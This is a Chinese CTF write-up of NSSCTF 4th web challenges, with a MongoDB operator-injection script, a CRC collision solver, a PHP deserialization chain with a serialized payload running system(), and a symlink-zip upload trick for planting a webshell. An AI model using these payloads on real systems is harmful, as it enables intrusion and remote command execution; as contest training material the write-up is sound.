NSSCTF 4th WEB wp 全解

好简单......出题人!web跟其他方向不是一个画风的啊喂!

手笨了没抢到血www

WEB

ez_signin

分析源码,可知当POST传入参数类型为dict时,不存在waf过滤:

                if isinstance(title, str):
                    title = sanitize(title)
                    query["$and"].append({"title": title})
                elif isinstance(title, dict):
                    query["$and"].append({"title": title})

                if isinstance(author, str):
                    author = sanitize(author)
                    query["$and"].append({"author": author})
                elif isinstance(author, dict):
                    query["$and"].append({"author": author})

因此我们使用dict传参。使用regex模式下的*匹配所有项即可:

import requests
import json
url = "http://node9.anna.nssctf.cn:29017/search"

payload = {
    "title": {
        "$ne": ""  
    },
    "author": {
        "$regex": ".*" 
    }
}

headers = {
    "Content-Type": "application/json"
}

response = requests.post(url, data=json.dumps(payload), headers=headers)

print(json.dumps(response.json(), indent=2))

image

EzCRC

看了一下大概是要求POST与key内容不同,长度相同,CRC8和CRC16相同的pass。

不想手搓脚本(懒)。AI一把梭了:https://chat01.ai/zh/chat/01K3D1CP6G832N98H0H04HQT18

import random
from typing import List, Tuple

(15, 10699630, 17262, 163)

# Let's implement the CRC16 and CRC8 exactly as in the PHP code and then
# build a solver for last 3 bytes to make both CRC16 and CRC8 be zero.

def compute_crc16_py(data: bytes) -> int:
    checksum = 0xFFFF
    for b in data:
        checksum ^= b
        for _ in range(8):
            if checksum & 1:
                checksum = ((checksum >> 1) ^ 0xA001)
            else:
                checksum >>= 1
    return checksum & 0xFFFF

crc8_table = [
    0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
    0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
    0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
    0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
    0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
    0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
    0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
    0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
    0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
    0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
    0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
    0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
    0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
    0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
    0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
    0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
    0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
    0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
    0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
    0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
    0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
    0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
    0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
    0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
    0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
    0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
    0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
    0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
    0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
    0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
    0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
    0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
]

def crc8_py(data: bytes) -> int:
    crc = 0
    for b in data:
        crc = crc8_table[(crc ^ b) & 0xff]
    return crc & 0xff

secret = b"Enj0yNSSCTF4th!"
len(secret), secret

(15, b'Enj0yNSSCTF4th!')

def combined_crc(data: bytes) -> int:
    """Return combined 24-bit value: lower 16 bits = crc16, upper 8 bits = crc8 (or reversed)."""
    c16 = compute_crc16_py(data)
    c8 = crc8_py(data)
    return (c8 << 16) | c16

secret = b"Enj0yNSSCTF4th!"
len(secret), combined_crc(secret), compute_crc16_py(secret), crc8_py(secret)

def solve_rectangular(Acols: List[int], bvec: int) -> Tuple[bool, int, List[int]]:
    """
    Solve A x = b over GF(2), where A is 24 x m with columns in Acols (each 24-bit int).
    Returns (ok, x_bits, pivot_cols). x_bits is m-bit vector giving one solution with free vars 0.
    """
    m = len(Acols)
    # Build rows
    rows = [0]*24
    for r in range(24):
        row = 0
        for j in range(m):
            if (Acols[j] >> r) & 1:
                row |= (1 << j)
        rows[r] = row
    bbits = bvec
    pivot_col_for_row = [-1]*24
    r = 0
    for c in range(m):
        # find a row >= r with bit c set
        pivot = None
        for rr in range(r,24):
            if (rows[rr] >> c) & 1:
                pivot = rr; break
        if pivot is None:
            continue
        # swap rows r and pivot
        if pivot != r:
            rows[r], rows[pivot] = rows[pivot], rows[r]
            br = (bbits >> r) & 1
            bp = (bbits >> pivot) & 1
            if br != bp:
                bbits ^= (1<<r) | (1<<pivot)
        # eliminate other rows in column c
        for rr in range(24):
            if rr != r and ((rows[rr] >> c) & 1):
                rows[rr] ^= rows[r]
                if ((bbits >> r) & 1):
                    bbits ^= (1 << rr)
        pivot_col_for_row[r] = c
        r += 1
        if r == 24:
            break
    if r < 24:
        # Not full rank -> system may have no solution or infinite, but we need to ensure consistency: rows with all-zero row must have bbit zero too
        # Check consistency
        for rr in range(r,24):
            if rows[rr] == 0 and ((bbits >> rr) & 1):
                return (False, 0, [])
        # We cannot solve uniquely; but we can set some variables arbitrarily. For simplicity, try to use additional columns by reordering? Already considered.
        # We'll attempt to pick free vars as zero and determine pivot vars by back substitution using rows[0..r-1].
    # Back-substitute to get solution with free vars zero:
    x = 0
    # Work from last pivot row to first
    for i in range(r-1, -1, -1):
        c = pivot_col_for_row[i]
        # sum of A[i, j]*x_j for j>c
        sum_bit = 0
        rowmask = rows[i]
        # Bits set in rowmask excluding pivot column
        mask_ex_pivot = rowmask & ~(1 << c)
        # compute dot product with x
        tmp = mask_ex_pivot & x
        # parity of tmp bits
        sum_bit = bin(tmp).count("1") & 1
        bi = (bbits >> i) & 1
        xi = bi ^ sum_bit
        if xi:
            x |= (1 << c)
    pivot_cols = [pivot_col_for_row[i] for i in range(r) if pivot_col_for_row[i] != -1]
    return (True, x, pivot_cols)

# Test with m=120
n=15
# base message all zeros; columns for all bits across 15 bytes
Acols_all = []
base_msg = bytes([0]*n)
base_crc = combined_crc(base_msg)
target = combined_crc(secret)
bvec = base_crc ^ target  # which equals target since base_crc=CRC(zeros)
for pos in range(n):
    for bit in range(8):
        arr = bytearray(base_msg)
        arr[pos] ^= (1 << bit)
        delta = combined_crc(bytes(arr)) ^ base_crc
        Acols_all.append(delta)
ok, x, pivots = solve_rectangular(Acols_all, bvec)
ok, len(pivots), "solution nonzero bits:", bin(x).count("1") if ok else None

(True, 23, 'solution nonzero bits:', 12)

def find_fully_printable_solution_with_last4():
    printable = set(range(0x20, 0x7f))
    for attempt in range(200):
        # choose first 11 bytes randomly printable, and ensure message != secret
        prefix = bytes([random.choice(list(printable)) for _ in range(11)])
        # It's okay if some match secret; Not necessary to differ except entire string; we'll check at end.
        # Build A for last 4 positions: 11..14 indices
        positions = (11,12,13,14)
        base_msg = bytearray(prefix + b'\x00\x00\x00\x00')
        base_msg = bytes(base_msg)
        target = combined_crc(secret)
        base_crc = combined_crc(base_msg)
        bvec = base_crc ^ target
        # Build Acols for last 4 positions
        Acols = []
        for pos in positions:
            for bit in range(8):
                arr = bytearray(base_msg)
                arr[pos] ^= (1 << bit)
                delta = combined_crc(bytes(arr)) ^ base_crc
                Acols.append(delta)
        ok, x_bits, piv = solve_rectangular(Acols, bvec)
        if not ok:
            continue
        # Build nullspace basis for these 32 columns
        m = len(Acols)
        rows = [0]*24
        for r in range(24):
            row = 0
            for j in range(m):
                if (Acols[j] >> r) & 1:
                    row |= (1<<j)
            rows[r] = row
        pivot_row = [-1]*m
        pivot_col_for_row = [-1]*24
        rnk = 0
        for c in range(m):
            pivot = None
            for rr in range(rnk,24):
                if (rows[rr] >> c) & 1:
                    pivot = rr; break
            if pivot is None:
                continue
            if pivot != rnk:
                rows[rnk], rows[pivot] = rows[pivot], rows[rnk]
            for rr in range(24):
                if rr != rnk and ((rows[rr] >> c) & 1):
                    rows[rr] ^= rows[rnk]
            pivot_col_for_row[rnk] = c
            pivot_row[c] = rnk
            rnk += 1
            if rnk == 24:
                break
        free_cols = [c for c in range(m) if pivot_row[c] == -1]
        nvecs = []
        for f in free_cols:
            v = 1 << f
            for i in range(rnk-1, -1, -1):
                c = pivot_col_for_row[i]
                rowmask = rows[i]
                if bin(v & (rowmask & ~(1<<c))).count("1") & 1:
                    v ^= (1 << c)
            nvecs.append(v)
        # Try to adjust to make last 4 bytes printable
        vals = [(x_bits >> (8*i)) & 0xFF for i in range(4)]
        # Try greedy search via flipping basis vectors
        def bytes_from_solution(sol):
            return [(sol >> (8*i)) & 0xFF for i in range(4)]
        # Evaluate current bytes
        def printable_count(vs):
            return sum(1 for b in vs if b in printable)
        if all(b in printable for b in vals):
            sol = x_bits
        else:
            # Try toggling combinations up to depth 3
            best = (printable_count(vals), x_bits)
            sol = None
            basis_count = min(len(nvecs), 12)
            # Try single toggles
            for i in range(basis_count):
                s = x_bits ^ nvecs[i]
                vs = bytes_from_solution(s)
                sc = printable_count(vs)
                if sc == 4:
                    sol = s; break
                if sc > best[0]:
                    best = (sc, s)
            if sol is None:
                # try pairs
                for i in range(basis_count):
                    for j in range(i+1, basis_count):
                        s = x_bits ^ nvecs[i] ^ nvecs[j]
                        vs = bytes_from_solution(s)
                        sc = printable_count(vs)
                        if sc == 4:
                            sol = s; break
                    if sol is not None: break
            if sol is None:
                # try triples
                for i in range(basis_count):
                    for j in range(i+1, basis_count):
                        for k in range(j+1, basis_count):
                            s = x_bits ^ nvecs[i] ^ nvecs[j] ^ nvecs[k]
                            vs = bytes_from_solution(s)
                            sc = printable_count(vs)
                            if sc == 4:
                                sol = s; break
                        if sol is not None: break
                    if sol is not None: break
            if sol is None:
                sol = best[1]
        vals = bytes_from_solution(sol)
        m_final = bytearray(base_msg)
        for i, pos in enumerate(positions):
            m_final[pos] = vals[i]
        m_final = bytes(m_final)
        if all(32 <= b <= 126 for b in m_final) and m_final != secret:
            return m_final, vals, prefix
    return None

res = find_fully_printable_solution_with_last4()
res[:2] if res else None

(b'cDXM 4pujqY/-IC', [47, 45, 73, 67])

传入cDXM 4pujqY/-IC即可。

image

[mpga]filesystem

下载www.zip,有源码。action=home时POST传submit_md5有任意反序列化

<?php

class ApplicationContext{
    public $contextName; 

    public function __construct(){
        $this->contextName = 'ApplicationContext';
    }

    public function __destruct(){
        $this->contextName = strtolower($this->contextName);
    }
}

class ContentProcessor{
    private $processedContent; 
    public $callbackFunction;   

    public function __construct(){
    
        $this->processedContent = new FunctionInvoker();
    }

    public function __get($key){
        
        if (property_exists($this, $key)) {
            if (is_object($this->$key) && is_string($this->callbackFunction)) {
                
                $this->$key->{$this->callbackFunction}($_POST['cmd']);
            }
        }
    }
}

class FileManager{
    public $targetFile; 
    public $responseData = 'default_response'; 

    public function __construct($targetFile = null){
        $this->targetFile = $targetFile;
    }

    public function filterPath(){ 
        
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){
            die('文件路径不符合规范');
        }
    }

    public function performWriteOperation($var){ 
        
        $targetObject = $this->targetFile; 
        $value = $targetObject->$var; 
    }

    public function getFileHash(){ 
        $this->filterPath(); 

        if (is_string($this->targetFile)) {
            if (file_exists($this->targetFile)) {
                $md5_hash = md5_file($this->targetFile);
                return "文件MD5哈希: " . htmlspecialchars($md5_hash);
            } else {
                die("文件未找到");
            }
        } else if (is_object($this->targetFile)) {
            try {
                
                $md5_hash = md5_file($this->targetFile);
                return "文件MD5哈希 (尝试): " . htmlspecialchars($md5_hash);
            } catch (TypeError $e) {
                
                
                return "无法计算MD5哈希,因为文件参数无效: " . htmlspecialchars($e->getMessage());
            }
        } else {
            die("文件未找到");
        }
    }

    public function __toString(){
        if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
            $method = $_POST['method'];
            $var = isset($_POST['var']) ? $_POST['var'] : null;
            $this->$method($var); 
        }
        return $this->responseData;
    }
}

class FunctionInvoker{
    public $functionName; 
    public $functionArguments; 
    public function __call($name, $arg){
        
        if (function_exists($name)) {
            $name($arg[0]); 
        }
    }
}

// 省略

if ($action === 'home' && isset($_POST['submit_md5'])) {
    $filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';

    if (!empty($filename_param)) {
        $file_object = @unserialize($filename_param);
        if ($file_object === false || !($file_object instanceof FileManager)) {
            $file_object = new FileManager($filename_param);
        }
        $output = $file_object->getFileHash();
    } else {
        $output = "<p class='text-gray-600'>请输入文件路径进行MD5校验。</p>";
    }
}

?>
// 省略

链子:

ApplicationContext::__destruct()触发FileManager::__toString()

FileManager::__toString()调用performWriteOperation

performWriteOperation最终通过ContentProcessorFunctionInvoker实现命令执行

EXP:

<?php

class ApplicationContext {
    public $contextName;
}

class ContentProcessor {
    private $processedContent;
    public $callbackFunction;
    public function __construct() {
        $this->processedContent = new FunctionInvoker();
    }
}

class FileManager {
    public $targetFile;
    public $responseData;

    public function __construct() {
        $this->responseData = "string_response"; 
    }
}

class FunctionInvoker {
    public function __call($name, $arguments) {
        if (function_exists($name)) {
            return $name($arguments[0]);
        }
    }
}

$invoker = new FunctionInvoker();

$processor = new ContentProcessor();
$processor->callbackFunction = 'system';
$fileManager = new FileManager();
$fileManager->targetFile = $processor; 

$appContext = new ApplicationContext();
$appContext->contextName = $fileManager; 

echo serialize($appContext);
?>

POST Payload(%00换\x00):

file_to_check=O:18:"ApplicationContext":1:{s:11:"contextName";O:11:"FileManager":2:{s:10:"targetFile";O:16:"ContentProcessor":2:{s:34:"%00ContentProcessor%00processedContent";O:15:"FunctionInvoker":0:{}s:16:"callbackFunction";s:6:"system";}s:12:"responseData";s:15:"string_response";}}&method=performWriteOperation&var=processedContent&cmd=dir&submit_md5=1

本地打一下

image

没问题 上远程:

image

ez_upload

从报错页能看出来是php development server。搜一下就能发现:

https://blog.csdn.net/weixin_46203060/article/details/129350280

直接抄payload打:

image

GET /index.php HTTP/1.1
Host: node10.anna.nssctf.cn:22764

GET /123.123HTTP/1.1


这之后就是CISCN unzip同款做题方法:

创建一个软链接文件link,指向网站根目录/var/www/html,压缩上传

创建同名文件夹link,在文件夹里创建木马文件,在使在解压后能够覆盖link文件即/var/www/html目录,可以实现把木马解压到/var/www/html目录getshell

image

posted @ 2025-08-25 11:00  LamentXU  阅读(492)  评论(0)    收藏  举报